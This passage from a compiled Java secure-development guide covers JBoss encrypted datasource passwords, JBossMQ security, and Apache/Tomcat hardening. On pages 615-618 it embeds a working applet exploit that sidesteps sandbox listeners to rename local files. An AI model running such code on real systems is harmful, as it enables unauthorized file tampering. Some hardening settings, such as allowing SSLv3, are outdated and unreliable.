JBoss AS 5.1.x

From your JBoss 5.x home directory, invoke the secure identity login module like such:

Page 118: Java secure development   part 3

607 | P a g e

savas-ali-tokmens-macbook:jboss-5.1.0.GA alitokmen$ java -cp client/jboss-logging-spi.jar:common/lib/jbosssx.jar org.jboss.resource.security.SecureIdentityLoginModule passwordEncoded password: 5dfc52b51bd35553df8592078de921bc

On Windows Operating System, use the following command

D:\JBoss\jboss-5.1.0.GA>java -cp client/jboss-logging-spi.jar;common/lib/jbosssx.jarorg.jboss.resource.security.SecureIdentityLoginModule passwordEncoded password: 5dfc52b51bd35553df8592078de921bc

The datasource -ds.xml should then not use the user-name and password settings, and instead specify the security-domain that maps to the login-config.xml entry for the SecureIdentityLoginModule config.

<?xml version="1.0" encoding="UTF-8"?><datasources>

<local-tx-datasource><jndi-name>PostgresDS</jndi-name><connection-url>jdbc:postgresql://127.0.0.1:5432/test?protocolVersion=2</connection-url><driver-class>org.postgresql.Driver</driver-class><min-pool-size>1</min-pool-size><max-pool-size>20</max-pool-size><!-- REPLACED WITH security-domain BELOW<user-name>admin</user-name><password>password</password>--><security-domain>EncryptDBPassword</security-domain><metadata>

<type-mapping>PostgreSQL 8.0</type-mapping></metadata>

</local-tx-datasource></datasources>

The login-config.xml entry for the EncryptDBPassword would look like:

<policy><!-- Example usage of the SecureIdentityLoginModule --><application-policy name="EncryptDBPassword">

<authentication><login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">

<module-option name="username">admin</module-option><module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option><module-option

name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option></login-module>

</authentication></application-policy>

</policy>

If you use a xa-datasource then the module-option name="managedConnectionFactoryName" should be:

Page 119: Java secure development   part 3

608 | P a g e

<module-optionname="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=XATxCM</module-option>

That's it!

A KeyStore based login module for encrypting a datasource password

The org.jboss.resource.security.JaasSecurityDomainIdentityLoginModule is a login module for statically defining adata source username and password that uses a password that has been ecrypted by a JaasSecurityDomain. Thebase64 format of the data source password may be generated using the PBEUtils command:

java -cp jbosssx.jar org.jboss.security.plugins.PBEUtils salt countdomain-password data-source-password

The PBEUtils' command arguments are:

salt : the Salt attribute from the JaasSecurityDomain (MUST BE ONLY 8 characters long) count : the IterationCount attribute from the JaasSecurityDomain domain-password : the plaintext password that maps to the KeyStorePass attribute from the JaasSecurityDomain data-source-password : the plaintext password for the data source that should be encrypted with the

JaasSecurityDomain password

for example:

java -cp jbosssx.jar org.jboss.security.plugins.PBEUtils abcdefgh 13 master ''Encoded password: E5gtGMKcXPP

A sample login-config.xml configuration entry would be:

<application-policy name = "EncryptedHsqlDbRealm"><authentication>

<login-module code = "org.jboss.resource.security.JaasSecurityDomainIdentityLoginModule"flag = "required">

<module-option name = "username">sa</module-option><module-option name = "password">E5gtGMKcXPP</module-option><module-option name =

"managedConnectionFactoryName">jboss.jca:service=LocalTxCM,name=DefaultDS</module-option><module-option name =

"jaasSecurityDomain">jboss.security:service=JaasSecurityDomain,domain=ServerMasterPassword</module-option>

</login-module></authentication>

</application-policy>

The docs/examples/jca/hsqldb-encrypted-ds.xml illustrates that datasource configuration along with theJaasSecurityDomain configuration for the keystore:

Page 120: Java secure development   part 3

609 | P a g e

<?xml version="1.0" encoding="UTF-8"?>

<!-- The Hypersonic embedded database JCA connection factory configthat illustrates the use of the JaasSecurityDomainIdentityLoginModuleto use encrypted password in the data source configuration.

$Id: hsqldb-encrypted-ds.xml,v 1.1.2.1 2004/06/04 02:20:52 starksm Exp $ -->

<datasources><local-tx-datasource>

<!-- The jndi name of the DataSource, it is prefixed with java:/ --><!-- Datasources are not available outside the virtual machine --><jndi-name>DefaultDS</jndi-name>

<!-- for tcp connection, allowing other processes to use the hsqldbdatabase. This requires the org.jboss.jdbc.HypersonicDatabase mbean.<connection-url>jdbc:hsqldb:hsql://localhost:1701</connection-url>--><!-- for totally in-memory db, not saved when jboss stops.The org.jboss.jdbc.HypersonicDatabase mbean necessary<connection-url>jdbc:hsqldb:.</connection-url>--><!-- for in-process persistent db, saved when jboss stops. Theorg.jboss.jdbc.HypersonicDatabase mbean is necessary for properly db shutdown--><connection-url>jdbc:hsqldb:${jboss.server.data.dir}${/}hypersonic${/}localDB</connection-url>

<!-- The driver class --><driver-class>org.hsqldb.jdbcDriver</driver-class>

<!--example of how to specify class that determines if exception means connection should be destroyed--><!--exception-sorter-class-

name>org.jboss.resource.adapter.jdbc.vendor.DummyExceptionSorter</exception-sorter-class-name-->

<!-- this will be run before a managed connection is removed from the pool for use by a client--><!--<check-valid-connection-sql>select * from something</check-valid-connection-sql> -->

<!-- The minimum connections in a pool/sub-pool. Pools are lazily constructed on first use --><min-pool-size>5</min-pool-size>

<!-- The maximum connections in a pool/sub-pool --><max-pool-size>20</max-pool-size>

<!-- The time before an unused connection is destroyed --><!-- NOTE: This is the check period. It will be destroyed somewhere between 1x and 2x this timeout after

last use --><!-- TEMPORARY FIX! - Disable idle connection removal, HSQLDB has a problem with not reaping threads

on closed connections --><idle-timeout-minutes>0</idle-timeout-minutes>

<!-- sql to call when connection is created<new-connection-sql>some arbitrary sql</new-connection-sql>

Page 121: Java secure development   part 3

610 | P a g e

-->

<!-- sql to call on an existing pooled connection when it is obtained from pool<check-valid-connection-sql>some arbitrary sql</check-valid-connection-sql>

-->

<!-- example of how to specify a class that determines a connection is valid before it is handed out fromthe pool

<valid-connection-checker-class-name>org.jboss.resource.adapter.jdbc.vendor.DummyValidConnectionChecker</valid-connection-checker-class-name>

-->

<!-- Whether to check all statements are closed when the connection is returned to the pool,this is a debugging feature that should be turned off in production -->

<track-statements></track-statements>

<!-- Use the getConnection(user, pw) for logins<application-managed-security></application-managed-security>

-->

<!-- Use the security domain defined in conf/login-config.xml --><security-domain>EncryptedHsqlDbRealm</security-domain>

<!-- This mbean can be used when using in process persistent hypersonic --><depends>jboss:service=Hypersonic,database=localDB</depends>

<!-- The datasource must depend on the mbean --><depends>jboss.security:service=JaasSecurityDomain,domain=ServerMasterPassword</depends>

</local-tx-datasource>

<!-- The JaasSecurityDomain used for encryption. Use the name"jboss.security:service=JaasSecurityDomain,domain=ServerMasterPassword"as the value of the JaasSecurityDomainIdentityLoginModulejaasSecurityDomain login module option in the EncryptedHsqlDbRealmlogin-config.xml section. Typically this service config should be inthe conf/jboss-service.xml descriptor.The opaque master.password file could be created using:java -cp jbosssx.jar org.jboss.security.plugins.FilePassword 12345678 17 master server.password

The corresponding login-config.xml would look like:<application-policy name = "EncryptedHsqlDbRealm">

<authentication><login-module code = "org.jboss.resource.security.JaasSecurityDomainIdentityLoginModule"flag = "required">

<module-option name = "username">sa</module-option><module-option name = "password">E5gtGMKcXPP</module-option><module-option name =

"managedConnectionFactoryName">jboss.jca:service=LocalTxCM,name=DefaultDS</module-option><module-option name =

"jaasSecurityDomain">jboss.security:service=JaasSecurityDomain,domain=ServerMasterPassword</module-option>

</login-module></authentication>

</application-policy>where the encrypted password was generated using:

Page 122: Java secure development   part 3

611 | P a g e

java -cp jbosssx.jar org.jboss.security.plugins.PBEUtils abcdefgh 13 master ''Encoded password: E5gtGMKcXPP

--><mbean code="org.jboss.security.plugins.JaasSecurityDomain"

name="jboss.security:service=JaasSecurityDomain,domain=ServerMasterPassword"><constructor>

<arg type="java.lang.String" value="ServerMasterPassword"></arg></constructor><!-- The opaque master password file used to decrypt the encrypteddatabase password key --><attribute

name="KeyStorePass">{CLASS}org.jboss.security.plugins.FilePassword:${jboss.server.home.dir}/conf/server.password</attribute>

<attribute name="Salt">abcdefgh</attribute><attribute name="IterationCount">13</attribute>

</mbean>

<!-- This mbean can be used when using in process persistent db --><mbean code="org.jboss.jdbc.HypersonicDatabase"

name="jboss:service=Hypersonic,database=localDB"><attribute name="Database">localDB</attribute><attribute name="InProcessMode">true</attribute>

</mbean></datasources>

Addtional LinkJBoss Tip

WarningsRemember to use the same salt and IterationCount in the MBean that was used during the password generation step.This has been explained in this blog tip.

NoteIf you see this error:

Caused by: java.security.InvalidAlgorithmParameterException: Parameters missingat com.sun.crypto.provider.SunJCE_af.a(DashoA12275)at com.sun.crypto.provider.PBEWithMD5AndDESCipher.engineInit(DashoA12275)at javax.crypto.Cipher.a(DashoA12275)at javax.crypto.Cipher.a(DashoA12275)at javax.crypto.Cipher.init(DashoA12275)at javax.crypto.Cipher.init(DashoA12275)at org.jboss.security.plugins.JaasSecurityDomain.decode(JaasSecurityDomain.java:325)at org.jboss.security.plugins.JaasSecurityDomain.decode64(JaasSecurityDomain.java:351)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)at java.lang.reflect.Method.invoke(Method.java:585)at org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:155)... 139 more

Page 123: Java secure development   part 3

612 | P a g e

while starting a service that depends on the encrypted datasource it probably means that the mbean

(jboss.security:service=JaasSecurityDomain,domain=ServerMasterPassword)

is not yet started as a service. You need to include a:

<depends>

element to the datasource so that the mbean is started before the datasource.

org.jboss.mq.security.SecurityManager

If the org.jboss.mq.security.SecurityManager is part of the interceptor stack, then it will enforcethe access control lists assigned to the destinations. The SecurityManager uses JAAS, and assuch requires that at application policy be setup for in the JBoss login-config.xml file. The defaultconfiguration is shown below.

<application-policy name="jbossmq"><authentication>

<login-module code="org.jboss.mq.sm.file.DynamicLoginModule"flag="required">

<module-option name="unauthenticatedIdentity">guest</module-option><module-option name="sm.objectname">

jboss.mq:service=StateManager</module-option>

</login-module></authentication>

</application-policy>

This integrates the DynamicStateManager jbossmq-state.xml security store into the JAAS basedframework through the org.jboss.mq.sm.file.DynamicLoginModule. The configuration also mapsany unauthenticated JBossMQ client to the guestrole.

The configurable attributes of the SecurityManager are as follows:

NextInterceptor: The JMX ObjectName of the next request interceptor. This attribute isused by all the interceptors to create the interceptor stack. The last interceptor in thechain should be the DestinationManager. This attribute should be setup via a <dependsoptional-attribute-name="NextInterceptor"> tag.

DefaultSecurityConfig: This element specifies the default security configuration settingsfor destinations. This applies to temporary queues and topics as well as queues and

Page 124: Java secure development   part 3

613 | P a g e

topics that do not specifically specify a security configuration. The content model of thiselement is shown in Figure 6.2, “The destination security config content model”.

Figure 6.2. The destination security config content model

role: Each role that is allowed access to a destination is represented by a role element. role@name: The name attribute defines the name of the role. role@create: The create attribute is a true/false enum that indicates whether the role

has the ability to create durable subscriptions on the topic. role@read: The read attribute is a true/false enum that indicates whether the role can

receive messages from the destination. role@write: The write attribute is a true/false enum that indicates whether the role can

send messages to the destination. SecurityDomain: Specify the security domain name to use for authentication and role

based authorization. This is the JNDI name of the security manager implementation asdescribed for the security-domain element of the jboss.xml and jboss-web.xml descriptors in Section 8.3.1, “Enabling Declarative Security in JBoss Revisited”.Note however, that this attribute value cannot have the standard java:/jaas prefix andthat this prefix is currently an assumed and hardcoded value.

You may be uncomfortable having to maintain your authentication and authorizationinformation in an XML file. You can use any standard security store such as a database or LDAPserver by simply updating the JAAS login-config.xml to provide the same username to passwordand user to role mappings as the DynamicStateManager. For example, to use a JDBC database,the following sample database tables and login-config.xml entry would work.

Table 6.1. An example JMSPasswords username to password table

username password

jduke theduke

Table 6.2. An example JMSRoles username to acl roles table

username role

Page 125: Java secure development   part 3

614 | P a g e

username role

jduke create

jduke read

jduke write

Example 6.11. An alternate login-config.xml configuration for JBossMQ<application-policy name="jbossmq">

<authentication><login-module

code="org.jboss.security.auth.spi.DatabaseServerLoginModule" flag="required"><module-option name="unauthenticatedIdentity">guest </module-option><module-option name="dsJndiName">java:/DefaultDS </module-option><module-option name="principalsQuery"> select password from

JMSPasswords where username = ? </module-option><module-option name="rolesQuery"> select role, "Roles" from JMSRoles

where username= ? </module-option></login-module>

</authentication></application-policy>

Page 126: Java secure development   part 3

615 | P a g e

http://pastebin.com/mTCztGbQ

package ex7.filechooser;

import java.awt.*;import java.awt.event.ActionListener;import java.io.File;import java.lang.reflect.*;

import javax.swing.*;import javax.swing.event.ListDataListener;import javax.swing.filechooser.FileFilter;import javax.swing.text.*;import javax.swing.text.html.*;

public class Example extends java.applet.Applet {

void execute(ActionListener al) {Timer timer = new Timer(0, al);timer.setRepeats(false);timer.start();

}

public void start() {try {

demo();} catch (Throwable t) {

Page 127: Java secure development   part 3

616 | P a g e

t.printStackTrace();}

}

private void demo() throws Throwable {// Use FormView to create a JFileChooserfinal SimpleAttributeSet as = new SimpleAttributeSet();as.addAttribute(StyleConstants.NameAttribute, HTML.Tag.INPUT);as.addAttribute(HTML.Attribute.TYPE, "file");// Use proxy to save space and confuse blog readersElement element = (Element) Proxy.newProxyInstance(null, new Class[]

{Element.class}, new InvocationHandler(){public Object invoke(Object proxy, Method method, Object[] args)

throws Throwable {if (method.getName().equals("getAttributes")) {

return as;}return null;

}});FormViewAccessor fv = new FormViewAccessor(element);Box box = (Box) fv.createComponent();JButton button = (JButton) box.getComponent(2);

execute(button.getActionListeners()[0]);

// get a ref to the JFileChooserJDialog dlg = null;JFileChooser fc = null;whileLoop:while (true) {

for (Window w : Window.getWindows()) {if (w.getClass().getName().equals("javax.swing.JDialog")) {

try {dlg = (JDialog) w;JRootPane root = dlg.getRootPane();JLayeredPane layered =

(JLayeredPane) root.getComponent(1);JPanel panel = (JPanel)

layered.getComponent(0);fc = (JFileChooser)

panel.getComponent(0);break whileLoop;

} catch (Exception t) {}

}}

}

// change folder

Page 128: Java secure development   part 3

617 | P a g e

JPanel panel = (JPanel) fc.getComponent(0);JComboBox combo = (JComboBox) panel.getComponent(2);

// remote listeners, because they would cause security exceptionsActionListener comboSelectionListener = combo.getActionListeners()[0];combo.removeActionListener(comboSelectionListener);AbstractListModel alm = (AbstractListModel) combo.getModel();

for (ListDataListener ldl : alm.getListDataListeners()) {alm.removeListDataListener(ldl);

}// first folder in combocombo.setSelectedIndex(0);

// call the listenerexecute(comboSelectionListener);

// renameJPanel filePane = (JPanel) fc.getComponent(2);ActionMap map = filePane.getActionMap();Action editFile = (Action) map.get(map.keys()[1]);Container child1 = (Container) filePane.getComponent(0);Container child2 = (Container) child1.getComponent(0);Container child3 = (Container) child2.getComponent(0);Thread.sleep(1000);JList list = (JList) child3.getComponent(0);

// 6th filelist.setSelectedIndex(5);

Timer timer2 = new Timer(0, editFile);timer2.setRepeats(false);timer2.start();Thread.sleep(1000);JTextField f = (JTextField) list.getComponent(1);// define new namef.setText("../new" + f.getText());

// execute renameexecute(f.getActionListeners()[0]);

}

}

class FormViewAccessor extends FormView {public FormViewAccessor(Element elem) {

super(elem);}// change visibility protected -> publicpublic Component createComponent() {

Page 129: Java secure development   part 3

618 | P a g e

return super.createComponent();}

}

Java Security Back To Back With IT – Java Jail

Security (http://wiki.apache.org/tapestry/Tapestry5HowTos)

Security is the condition of being protected against danger, loss, and criminals.

Authentication and Authorization related Using Acegi Security and CAS - Francois Armand explains how he combines T5, Acegi

Security and CAS (A Central Authentication Service, providing intranet single sign-on). Securing Pages with ACEGI Annotations - How to secure Tapestry5 pages with Java5

annotations using the Acegi security framework Securing Pages with ACEGI XML - How to use Acegi Security with Tapestry 5, in the

classical way (no annotations, some XML) Controlling Access with Annotations - Another supplemental article based

on Tapestry5HowToCreateADispatcher2 showing how to control access to pages basedon an annotation.

Securing with ACEGI & LDAP - How to protect you application using Acegi and LDAP Securing with Spring & LDAP - How to protect you application using Spring Security and

LDAP Spring Security & OpenID - How to provide OpenID authentication to your clients using

tapestry-spring-security Mitigating Login Attacks - How to track failed logins and mitigate brute force or

dictionary attacks

Integrity Preventing Cross-site Request Forgeries - How to protect against 'Cross-site request

forgeries' (CSRF) Preventing Client Side Changes - How to protect server side generated values against

client side changes using a HMAC

Apache Tomcat + Java + ezjail + NGINXnginx.conf:

http {

Page 130: Java secure development   part 3

619 | P a g e

include mime.types;default_type application/octet-stream;

#log_format main '$remote_addr - $remote_user [$time_local] "$request" '# '$status $body_bytes_sent "$http_referer" '# '"$http_user_agent" "$http_x_forwarded_for"';

#access_log logs/access.log main;

sendfile on;#tcp_nopush on;

#keepalive_timeout 0;keepalive_timeout 65;

gzip on;

server {listen 80;server_name prod.yourdomain.com www.yourdomain.com yourdomain.com;#charset utf-8;access_log /var/log/nginx_prod.access.log;location / {proxy_pass http://127.0.0.30:80;}}

}

Page 131: Java secure development   part 3

620 | P a g e

Server Hardening – Implementation Guide(Apache Proxy, Apache Tomcat, Oracle, CentOS)

Main configuration structure:

This document was written for the sole purpose of the following software to be used with themost secure settings, under the following roles:

Apache 2.x as a Reverse SSL Only Proxy Tomcat 6.0 as the Java Web & Web Services server Oracle 11g as the database OS is CentOS 5.5

Hardening Compliance:

This document and the hardening described are in line with the highest exitinghardening criteria. It complies with the common regulatory compliance rules,government compliance rules and well respected Best Practices. Some of those aredescribed in the following:

CIS (The Center For Internet Security) :o “CIS Apache HTTP Server Benchmark v3.0.0”o “CIS Apache Benchmark v2.2”o “CIS Apache Tomcat Benchmark v1.0.0”

OWASP:o “SELinux, Apache, and Tomcat – A Securely Implemented Web Application

Server”o OWASP Top 10 - 2010 Edition (book)o OWASP Top 20o OWASP Application Security Verification Standard (book)o OWASP Backend Security (book)o OWASP Testing Guide (book)o OWASP ASDR Application Security Desk Reference - SoC2008 (Alpha) (book)o OWASP CLASP Security Principleso “OWASP Application Security Assessment Standards Project”o “OWASP Application Security Metrics Project”o “OWASP Best Practices: Use of Web Application Firewalls”o “OWASP ModSecurity Core Rule Set Project”o “OWASP Threat Modeling Project”

Page 132: Java secure development   part 3

621 | P a g e

SANS:o “Patch Management and the Need for Metrics”o “Building Servers as Appliances for Improved”o “Using a Capability Maturity Model to Derive Security Requirements”o “The Systems Security Engineering Capability Maturity Model (SSE-CMM)”o “A Guide to Government Security Mandates”o “Implementing Least Privilege at your Enterprise”o “Secure Computing - An Elementary Issue”o “Linux Security Checklist”o “Applied Principles of Defense-in-Depth: A Parents”o “Using Proactive Depth in Defense to Ease Patch Management Problems”o “System Administrator - Security Best Practices”o DISA – Defense Information Systems Agency (Disa.mil)o Red Hat 5 STIG, Version 1 Release 0

NSAo “National Security Agency Defense In Depth Guide”

NISTo FIPS 140-2: “Security Requirements for Cryptographic Modules”o FIPS 180-3: “Secure Hash Standard (SHS)”o FIPS 197: “Advanced Encryption Standard” (AES)o SP 800-146 DRAFT Cloud Computing Synopsis and Recommendationso SP 800-144 DRAFT Guidelines on Security and Privacy in Public Cloud Computingo SP 800-142 Practical Combinatorial Testingo SP 800-131 Transitions: Recommendation for Transitioning the Use of

Cryptographic Algorithms and Keyo SP 800-123 Guide to General Server Securityo SP 800-115 Technical Guide to Information Security Testing and Assessmento SP 800-107 Recommendation for Applications Using Approved Hash Algorithmso SP 800-95 Guide to Secure Web Serviceso SP 800-92 Guide to Computer Security Log Managemento SP 800-63 Electronic Authentication Guidelineo SP 800-60 Guide for Mapping Types of Information and Information Systems to

Security Catego Guide Volume 2: Appendiceso SP 800-52 Guidelines for the Selection and Use of Transport Layer Security (TLS)

Implementationso SP 800-47 Security Guide for Interconnecting Information Technology Systemso SP 800-44 Guidelines on Securing Public Web Serverso SP 800-41 Guidelines on Firewalls and Firewall Policyo SP 800-40 Creating a Patch and Vulnerability Management Program

Page 133: Java secure development   part 3

622 | P a g e

o SP 800-39 Managing Information Security Risk: Organization, Mission, andInformation System View

o SP 800-37 Guide for Applying the Risk Management Framework to FederalInformation Systems:

o SP 800-33 Underlying Technical Models for Information Technology Securityo SP 800-30 Risk Management Guide for Information Technology Systemso SP 800-27 Engineering Principles for Information Technology Security (A

Baseline for AchievSP800-27-RevA.pdfo SP 800-18 Guide for Developing Security Plans for Federal Information Systemso SP 800-14 Generally Accepted Principles and Practices for Securing Information

Technology Systemso SP 800-12 An Introduction to Computer Security: The NIST Handbook

As well as well-known vulnerability scanners such as:o IBM Rational AppScano Acunetix Web Vulnerability Scannero N-Stalker N-Stealth Web Vulnerability Scannero OWASP ZAP (Zed Attack Proxy)o OWASP DirBuster Project

Add YUM RPM Repositories

Add RPMForge

rpm --import “http://apt.sw.be/RPM-GPG-KEY.dag.txt”rpm -Uvh “http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm”

Add EPEL

rpm --import “http://keys.gnupg.net:11371/pks/lookup?search=0x217521F6&op=get”rpm -Uvh “http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm”

Update the Machine

# Install HTTP Development libraries, which are required to compile Apache modulesyum install httpd-devel

Page 134: Java secure development   part 3

623 | P a g e

# If you are lazy and you want to make the compilation process easier, run:yum -y groupinstall "Development tools" "Development Libraries"

# Update the file system databaseupdatedb;

# Go to system run level 3init 3

# Clean yum cacheyum clean all

# First update yum itselfyum update yum

# Use the updated yum to update the entire systemyum update --skip-broken

# To activate automatic daily updates, enter this command:/sbin/chkconfig --level 345 yum on; /sbin/service yum start

Apache Hardening

Apache SSL Hardening:In path: /etc/httpd/conf.d/ssl.conf

Change:

# Make sure the SSL Engine is on, especially since we need a proxySSLEngine onSSLProxyEngine on

# Make sure SSL is forcefully requiredSSLOptions +StrictRequire

# Only accept SSL version 3 (don’t accept SSL v2…) and TLS (which is better)SSLProtocol -all +SSLv3 +TLSv1SSLProxyProtocol -all +SSLv3 +TLSv1

Page 135: Java secure development   part 3

624 | P a g e

# Only accept high security ciphers (Don’t accept low, medium and nullciphers)SSLCipherSuite HIGH

# Make the SSL Seed Entropy strongerSSLRandomSeed startup file:/dev/urandom 4096

# 1024 on a slow CPU server# 2048 no a normal CPU server# 4096 on a fast CPU serverSSLRandomSeed connect file:/dev/urandom 2048

# Define custom logs and change log file name to be unpredictableCustomLog /var/log/httpd/mycompany_ssl_request_log \ "%t %h%{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

# Change the default name of the log files, to make their path unpredictableErrorLog /var/log/httpd/mycompany_ssl_error_logTransferLog /var/log/httpd/mycompany_ssl_access_logLogLevel warn

# Verify the remote SSL server’s certificate validity, on SSL Proxy connectionsSSLProxyVerify require

# Make sure there will be no Man-In-The-Middle Attacks on SSLRenegotiationsSSLInsecureRenegotiation off

Remove:

# This slows down the server’s performance and is mostly not required<Files ~ "\.(cgi|shtml|phtml|php3?)$">SSLOptions +StdEnvVars</Files><Directory "/var/www/cgi-bin">SSLOptions +StdEnvVars</Directory>

Mod_Evasive – Anti-D.O.S Apache Module

Page 136: Java secure development   part 3

625 | P a g e

# we need “apxs” to compile mod_evasive, It should be in one of the following/usr/local/psa/admin/bin/apxs/usr/sbin/apxs

# If it wasn’t found we can find it manuallylocate apxs | grep bin

# Download mod_evasivewget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz

# Extract mod_evasive source filestar xvzf mod_evasive_1.10.1.tar.gz mod_evasive/

# Compile mod_evasive/usr/sbin/apxs -cia /usr/src/mod_evasive/mod_evasive20.c

# Check mod_evasive is configured to be loaded in the apache configuration filegrep -i evasive /etc/httpd/conf/httpd.conf

#Add the following optimized rules at the end of /etc/httpd/conf/httpd.conf:<IfModule mod_evasive20.c>DOSHashTableSize 3097DOSPageCount 100DOSSiteCount 500DOSPageInterval 1DOSSiteInterval 1DOSBlockingPeriod 600</IfModule>

# Restart apache so mod_evasive will be loaded into it on process initiation/etc/init.d/httpd restart

# Due to application interference - Disabling mod_evasive!# Comment out the following: “Include conf/mod_evasive20.conf”

Mod_Security – An OpenSource Web Application Firewall

# Stop apache – if installed and runningservice httpd stop

Page 137: Java secure development   part 3

626 | P a g e

# Install Apache APR Utility Libraryyum install *apr*

# Install HTTP Development Librariesyum install *http-devel*

# Install Required Librariesyum install *pcre-devel*yum install libxml2yum install libxml2-develyum install curl-develyum install gcc-c++

# Fix mod_security compile to find libxml2export C_INCLUDE_PATH=/usr/include/libxml2/:$C_INCLUDE_PATHexport CPLUS_INCLUDE_PATH=/usr/include/libxml2/:$CPLUS_INCLUDE_PATHexport C_INCLUDE_PATH=/usr/include/curl/:$C_INCLUDE_PATHexport CPLUS_INCLUDE_PATH=/usr/include/curl/:$CPLUS_INCLUDE_PATH

# Download the latest stable version of Mod_Securityhttp://www.modsecurity.org/download/modsecurity-apache_2.6.0.tar.gz

# Extract & Compiletar -xvf modsecurity-apache_2.6.0.tar.gzcd modsecurity-apache_2.6.0/Apache2/./configuremakemake install

# Install OWASP mod_security Core Rule Setsvn co https://mod-security.svn.sourceforge.net/svnroot/mod-security/crs/trunk/etc/httpd/conf/modsecurity/

# Turn on the Example Configuration File:cd /etc/httpd/conf/modsecurity/mv modsecurity_crs_10_config.conf.example modsecurity_crs_10_config.conf

# Disable the following rulescd /etc/httpd/conf/modsecurity/base_rules/mv modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_21_protocol_anomalies.conf_.disablemv modsecurity_crs_30_http_policy.conf modsecurity_crs_30_http_policy.conf_.disablemv modsecurity_crs_41_phpids_converter.conf modsecurity_crs_41_phpids_converter.conf_.disable

Page 138: Java secure development   part 3

627 | P a g e

mv modsecurity_crs_41_phpids_filters.conf modsecurity_crs_41_phpids_filters.conf_.disablemv modsecurity_crs_49_enforcement.conf modsecurity_crs_49_enforcement.conf_.disablemv modsecurity_crs_60_correlation.conf modsecurity_crs_60_correlation.conf.disable

# Active Mod_Security inside the Apache Configuration File:Include conf/modsecurity/*.confLoadFile /usr/lib/libxml2.soLoadModule unique_id_module modules/mod_unique_id.soLoadModule security2_module modules/mod_security2.so

# ModSecurity Configuration# Turn the filtering engine On or OffSecFilterEngine On

# Add the server name (mod_security directive)SecServerSignature "Microsoft-IIS/7.5"

# Disable Server Signature (don’t print “Server: Apache mod_xxx…”)ServerSignature Off

# Make sure that URL encoding is validSecFilterCheckURLEncoding On

# Unicode encoding checkSecFilterCheckUnicodeEncoding Off

# Should mod_security inspect POST payloadsSecFilterScanPOST On

# By default log and deny suspicious requests# with HTTP status 500SecFilterDefaultAction "deny,log,status:500"

# Use ReleventOnly auditingSecAuditEngine RelevantOnly

# Must use concurrent loggingSecAuditLogType Concurrent

# Send all audit log partsSecAuditLogParts ABIDEFGHZ

Page 139: Java secure development   part 3

628 | P a g e

# Check the apache config:/usr/sbin/apachectl -t

# Restart Apache/etc/init.d/httpd restart

1.1 Disabling Dangerous HTTP Verbs

1.1.1 Limiting Accessible HTTP Verbs to Get, Head & Post in Directory Access & Proxy

<Directory / ><LimitExcept GET HEAD POST>

Order deny,allowDeny from all

</LimitExcept></Directory>

#In <proxy *> tag under virtual host add:<Proxy *>

<LimitExcept GET HEAD POST>

Order deny,allowDeny from all

</LimitExcept></Proxy>

1.1.1. Disable TRACE Method

add “TraceEnable off” directive at a global level in httpd.conf

1.1.2. Rewrite Against TRACE/TRACK

RewriteEngine OnRewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)RewriteRule .* - [F]

Page 140: Java secure development   part 3

629 | P a g e

1.1.3. Rewrite Get, Head & Post as a Whitelist

RewriteEngine onRewriteCond %{REQUEST_METHOD} !^(GET|POST|HEAD)$RewriteRule .* - [F]

1.2. Define Server Hostname

ServerName domino-app.digitalfuel.com:443

1.3. Mail Username root exposes Linux Usage

Replace:ServerAdmin root@localhost

With:ServerAdmin Administrator@localhost

1.4. Remove Script Aliases for unused directories (such as cgi-bin…)

# Comment out or Delete the following from /etc/httpd/conf/httpd.conf:Alias /cgi-bin/ "/var/www/cgi-bin/"

<Directory "/var/www/cgi-bin">AllowOverride NoneOptions NoneOrder allow,denyAllow from all

</Directory>Alias /icons/ "/var/www/icons/"<Directory "/var/www/icons">

Options Indexes MultiViewsAllowOverride NoneOrder allow,denyAllow from all

</Directory>#Comment out language files:

AddLanguage ca .caLanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN

Page 141: Java secure development   part 3

630 | P a g e

zh-TWForceLanguagePriority Prefer Fallback

Add:DefaultLanguage en

Comment Out:AddType text/html .shtmlAddOutputFilter INCLUDES .shtml

Comment Out:Alias /error/ "/var/www/error/"<IfModule mod_negotiation.c><IfModule mod_include.c><Directory "/var/www/error">

AllowOverride NoneOptions IncludesNoExecAddOutputFilter Includes htmlAddHandler type-map varOrder allow,denyAllow from allLanguagePriority en es de frForceLanguagePriority Prefer Fallback

</Directory>ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.varErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.varErrorDocument 403 /error/HTTP_FORBIDDEN.html.varErrorDocument 404 /error/HTTP_NOT_FOUND.html.varErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.varErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.varErrorDocument 410 /error/HTTP_GONE.html.varErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.varErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.varErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.varErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.varErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.varErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.varErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.varErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.varErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var

Page 142: Java secure development   part 3

631 | P a g e

ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var</IfModule></IfModule>

Rename or Delete the following directories:/var/www/cgi-bin/var/www/manual/var/www/icons/var/www/error

